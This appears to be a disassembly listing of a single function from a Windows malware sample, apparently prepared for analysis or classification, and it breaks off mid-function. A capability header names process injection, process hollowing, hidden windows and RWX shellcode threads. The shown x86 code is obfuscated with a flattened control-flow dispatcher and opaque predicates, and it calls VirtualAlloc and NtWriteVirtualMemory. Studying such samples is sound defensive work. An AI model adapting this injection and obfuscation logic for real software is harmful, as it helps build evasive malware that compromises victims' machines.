Function at 0x10009a20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x190
mov eax, dword [0x1006fc04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x198], 0x33074b59
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x19c], eax
sub eax, 0x8093de74
je 0x1000bf61
jmp 0x10009a5c
mov eax, dword [ebp - 0x19c]
sub eax, 0x80dd86c1
je 0x1000fd3a
jmp 0x10009a72
mov eax, dword [ebp - 0x19c]
sub eax, 0x810fde6d
je 0x1000bf10
jmp 0x10009a88
mov eax, dword [ebp - 0x19c]
sub eax, 0x8139bff7
je 0x1000cee5
jmp 0x10009a9e
mov eax, dword [ebp - 0x19c]
sub eax, 0x8258aa52
je 0x1000de36
jmp 0x10009ab4
mov eax, dword [ebp - 0x19c]
sub eax, 0x8348141b
je 0x1000d2e0
jmp 0x10009aca
mov eax, dword [ebp - 0x19c]
sub eax, 0x8497f30e
je 0x1001094e
jmp 0x10009ae0
mov eax, dword [ebp - 0x19c]
sub eax, 0x851308ed
je 0x1000cc8c
jmp 0x10009af6
mov eax, dword [ebp - 0x19c]
sub eax, 0x85ec2dd9
je 0x1000d4b2
jmp 0x10009b0c
mov eax, dword [ebp - 0x19c]
sub eax, 0x85fcdef6
je 0x1000bc2e
jmp 0x10009b22
mov eax, dword [ebp - 0x19c]
sub eax, 0x87790891
je 0x10010137
jmp 0x10009b38
mov eax, dword [ebp - 0x19c]
sub eax, 0x89f101ae
je 0x1000cce9
jmp 0x10009b4e
mov eax, dword [ebp - 0x19c]
sub eax, 0x8b7c4c87
je 0x10010a44
jmp 0x10009b64
mov eax, dword [ebp - 0x19c]
sub eax, 0x8cd3c5c1
je 0x1000f4ea
jmp 0x10009b7a
mov eax, dword [ebp - 0x19c]
sub eax, 0x8dbe191d
je 0x1001048e
jmp 0x10009b90
mov eax, dword [ebp - 0x19c]
sub eax, 0x8de2fba7
je 0x100109ab
jmp 0x10009ba6
mov eax, dword [ebp - 0x19c]
sub eax, 0x8e69e1cd
je 0x10010a62
jmp 0x10009bbc
mov eax, dword [ebp - 0x19c]
sub eax, 0x8ff24946
je 0x1000e3f6
jmp 0x10009bd2
mov eax, dword [ebp - 0x19c]
sub eax, 0x902cea3b
je 0x1000c459
jmp 0x10009be8
mov eax, dword [ebp - 0x19c]
sub eax, 0x91a2a53b
je 0x1001032b
jmp 0x10009bfe
mov eax, dword [ebp - 0x19c]
sub eax, 0x92f6caf8
je 0x1000e10c
jmp 0x10009c14
mov eax, dword [ebp - 0x19c]
sub eax, 0x94ebd275
je 0x1000c2b6
jmp 0x10009c2a
mov eax, dword [ebp - 0x19c]
sub eax, 0x9607cf4f
je 0x1000b77c
jmp 0x10009c40
mov eax, dword [ebp - 0x19c]
sub eax, 0x9687f05b
je 0x1000f685
jmp 0x10009c56
mov eax, dword [ebp - 0x19c]
sub eax, 0x96a5f2ab
je 0x1000c118
jmp 0x10009c6c
mov eax, dword [ebp - 0x19c]
sub eax, 0x98572590
je 0x10010adc
jmp 0x10009c82
mov eax, dword [ebp - 0x19c]
sub eax, 0x98e065aa
je 0x1000dd26
jmp 0x10009c98
mov eax, dword [ebp - 0x19c]
sub eax, 0x98e0e3d6
je 0x1000e385
jmp 0x10009cae
mov eax, dword [ebp - 0x19c]
sub eax, 0x99141845
je 0x1000d61a
jmp 0x10009cc4
mov eax, dword [ebp - 0x19c]
sub eax, 0x9b2f9c48
je 0x1000c711
jmp 0x10009cda
mov eax, dword [ebp - 0x19c]
sub eax, 0x9b493343
je 0x1000fb61
jmp 0x10009cf0
mov eax, dword [ebp - 0x19c]
sub eax, 0x9d63cd65
je 0x1000c7ae
jmp 0x10009d06
mov eax, dword [ebp - 0x19c]
sub eax, 0x9e1f195d
je 0x1000c2c5
jmp 0x10009d1c
mov eax, dword [ebp - 0x19c]
sub eax, 0x9f5bc225
je 0x1000f0c2
jmp 0x10009d32
mov eax, dword [ebp - 0x19c]
sub eax, 0x9f8c5f63
je 0x1000e7fa
jmp 0x10009d48
mov eax, dword [ebp - 0x19c]
sub eax, 0x9fb72425
je 0x1000cdf3
jmp 0x10009d5e
mov eax, dword [ebp - 0x19c]
sub eax, 0xa02988f2
je 0x1000d644
jmp 0x10009d74
mov eax, dword [ebp - 0x19c]
sub eax, 0xa0b39fab
je 0x1000e941
jmp 0x10009d8a
mov eax, dword [ebp - 0x19c]
sub eax, 0xa23dc9dc
je 0x1000d1fc
jmp 0x10009da0
mov eax, dword [ebp - 0x19c]
sub eax, 0xa41085e8
je 0x1000ecfc
jmp 0x10009db6
mov eax, dword [ebp - 0x19c]
sub eax, 0xa553c2c4
je 0x1000d469
jmp 0x10009dcc
mov eax, dword [ebp - 0x19c]
sub eax, 0xa588957a
je 0x1000d5a4
jmp 0x10009de2
mov eax, dword [ebp - 0x19c]
sub eax, 0xa70a5182
je 0x10010759
jmp 0x10009df8
mov eax, dword [ebp - 0x19c]
sub eax, 0xa9042e91
je 0x1001041b
jmp 0x10009e0e
mov eax, dword [ebp - 0x19c]
sub eax, 0xa92ef9a4
je 0x1001052c
jmp 0x10009e24
mov eax, dword [ebp - 0x19c]
sub eax, 0xa96671e5
je 0x1000f1bd
jmp 0x10009e3a
mov eax, dword [ebp - 0x19c]
sub eax, 0xab3cfddc
je 0x1000d197
jmp 0x10009e50
mov eax, dword [ebp - 0x19c]
sub eax, 0xab543513
je 0x1000d673
jmp 0x10009e66
mov eax, dword [ebp - 0x19c]
sub eax, 0xabcd1379
je 0x1000bc10
jmp 0x10009e7c
mov eax, dword [ebp - 0x19c]
sub eax, 0xad5f6449
je 0x1000be06
jmp 0x10009e92
mov eax, dword [ebp - 0x19c]
sub eax, 0xaf3482a9
je 0x1000c020
jmp 0x10009ea8
mov eax, dword [ebp - 0x19c]
sub eax, 0xb02078ec
je 0x10010981
jmp 0x10009ebe
mov eax, dword [ebp - 0x19c]
sub eax, 0xb0f1509d
je 0x10010348
jmp 0x10009ed4
mov eax, dword [ebp - 0x19c]
sub eax, 0xb1766faf
je 0x1000bc9c
jmp 0x10009eea
mov eax, dword [ebp - 0x19c]
sub eax, 0xb1b6a689
je 0x1000e33e
jmp 0x10009f00
mov eax, dword [ebp - 0x19c]
sub eax, 0xb1b8fc5f
je 0x1000f594
jmp 0x10009f16
mov eax, dword [ebp - 0x19c]
sub eax, 0xb215ef43
je 0x1000f04c
jmp 0x10009f2c
mov eax, dword [ebp - 0x19c]
sub eax, 0xb46052a2
je 0x1000f85b
jmp 0x10009f42
mov eax, dword [ebp - 0x19c]
sub eax, 0xb4797baa
je 0x1000ba14
jmp 0x10009f58
mov eax, dword [ebp - 0x19c]
sub eax, 0xb4c541b8
je 0x1000c522
jmp 0x10009f6e
mov eax, dword [ebp - 0x19c]
sub eax, 0xb4e7394f
je 0x1000f65a
jmp 0x10009f84
mov eax, dword [ebp - 0x19c]
sub eax, 0xb4f428e5
je 0x1000e60a
jmp 0x10009f9a
mov eax, dword [ebp - 0x19c]
sub eax, 0xb51e2d9d
je 0x1001086d
jmp 0x10009fb0
mov eax, dword [ebp - 0x19c]
sub eax, 0xb531a46b
je 0x1000e992
jmp 0x10009fc6
mov eax, dword [ebp - 0x19c]
sub eax, 0xb581eab1
je 0x1000e0c3
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x18c2d5af
mov ecx, 0x30707911
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x60980b90
mov ecx, 0x744f0944
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x198], 0x85fcdef6
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb5e58a3e
mov ecx, 0xb1766faf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
sub edx, 0x1c63c141
sub edx, 1
add edx, 0x1c63c141
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6e165985
mov ecx, 0x1fa4f2b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbb49905c
mov ecx, 0x331f504
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
mov edx, eax
add edx, 0x14e3ed38
sub edx, 1
sub edx, 0x14e3ed38
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x26321670
mov ecx, 0x8093de74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x190]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10012020
add esp, 0xc
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
mov edx, eax
add edx, 0x784f4d1f
sub edx, 1
sub edx, 0x784f4d1f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x26321670
mov ecx, 0x4d45b802
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10012020
add esp, 0xc
mov eax, dword [ebp - 0x18c]
add eax, 0x18
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x198], 0x7a2ccb7f
jmp 0x10010b87
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x70b70e87
mov ecx, 0x56d9d227
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov dword [ebp - 0x198], 0x9e1f195d
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x46c9418c
mov ecx, 0xcf06a6f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov dl, byte [ebp - 0x101]
mov eax, 0x447bdd5d
mov ecx, 0x61576fef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
mov edx, eax
sub edx, 0xa265e3f4
sub edx, 1
add edx, 0xa265e3f4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbd67bdfd
mov ecx, 0xfd0d5491
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0xfc], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [ebp - 0xf8], eax
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
add edx, 0x468f1656
sub edx, 1
sub edx, 0x468f1656
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xec45a908
mov ecx, 0x6d9b5fa1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa70a5182
mov ecx, 0x69f42761
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [ebp - 0x178]
mov dword [eax], 0
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
mov edx, eax
sub edx, 0xda51ae26
sub edx, 1
add edx, 0xda51ae26
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd7a84d05
mov ecx, 0x89f101ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov dword [ebp - 0x198], 0x1ec80073
jmp 0x10010b87
mov dword [ebp - 0x198], 0xf3cd8a32
jmp 0x10010b87
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb9ecf8d
mov ecx, 0x2c929e2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x164]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xdc], eax
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x223f2f2d
mov ecx, 0xa23dc9dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xca050631
mov ecx, 0x47e5cdde
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov dword [ebp - 0x198], 0x77a6df84
jmp 0x10010b87
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f66c0e
mov ecx, 0x85ec2dd9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb7dc93ed
mov ecx, 0x54c5f3d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
sub edx, 0x4b3c2acc
sub edx, 1
add edx, 0x4b3c2acc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7f66c0e
mov ecx, 0x99141845
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov dword [ebp - 0x198], 0xf038e4c8
jmp 0x10010b87
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov dword [eax], 0
mov dword [ebp - 0x198], 0xab543513
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
add edx, 0x7871c6c1
sub edx, 1
sub edx, 0x7871c6c1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4edde62b
mov ecx, 0xd99439d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
sub edx, 0xe250f998
sub edx, 1
add edx, 0xe250f998
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4a019923
mov ecx, 0x4d8ccb08
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
add edx, 0x8298300a
sub edx, 1
sub edx, 0x8298300a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x91a2a53b
mov ecx, 0xbca333a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
add edx, 0x324a7d8f
sub edx, 1
sub edx, 0x324a7d8f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7b5868e2
mov ecx, 0x6aa9dfc8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov dword [ebp - 0x198], 0xe94f01bd
jmp 0x10010b87
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x198], 0x628be8fb
jmp 0x10010b87
mov eax, dword [ebp - 0xa4]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x9d], al
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
add edx, 0x6c545c96
sub edx, 1
sub edx, 0x6c545c96
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb02078ec
mov ecx, 0x13235717
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [ebp - 0x14c]
mov esi, dword [eax]
mov edx, dword [ebp - 0x9c]
mov eax, 0x3601b6f6
mov ecx, 0x1b425099
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov dl, byte [ebp - 0x91]
mov eax, 0xf588b487
mov ecx, 0xb6cb8f0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
mov edx, eax
sub edx, 0x93d48df6
sub edx, 1
add edx, 0x93d48df6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfdcbe6b7
mov ecx, 0xb531a46b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [ebp - 0x88]
mov edx, dword [eax]
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x8c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
add edx, 0xd6a6b89
sub edx, 1
sub edx, 0xd6a6b89
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfdcbe6b7
mov ecx, 0x1585c0cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
sub edx, 0x2b95dcb6
sub edx, 1
add edx, 0x2b95dcb6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf7146750
mov ecx, 0x4bd2a498
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
sub edx, 0xe7a80f3e
sub edx, 1
add edx, 0xe7a80f3e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8b7c4c87
mov ecx, 0x9f5bc225
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
mov edx, ecx
add edx, 0x277dca8a
sub edx, 1
sub edx, 0x277dca8a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8b7c4c87
mov ecx, 0x525edddd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
mov edx, eax
add edx, 0xd75f068c
sub edx, 1
sub edx, 0xd75f068c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf2e501bc
mov ecx, 0x2ccd6388
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x198], 0xca565567
jmp 0x10010b87
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax + 0xc0]
mov ecx, dword [ebp - 0x74]
add ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov eax, dword [0x10070e88]
mov ecx, dword [0x10070e84]
mov edx, eax
sub edx, 0xbed0b662
sub edx, 1
add edx, 0xbed0b662
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5768260
mov ecx, 0x4ff86096
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov dword [ebp - 0x198], 0xdbd77fee
jmp 0x10010b87
mov ecx, dword [0x10070e88]
mov eax, dword [0x10070e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x654574c6
mov ecx, 0xf3c2d0a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10010b87
mov dl, byte [ebp - 0x69]
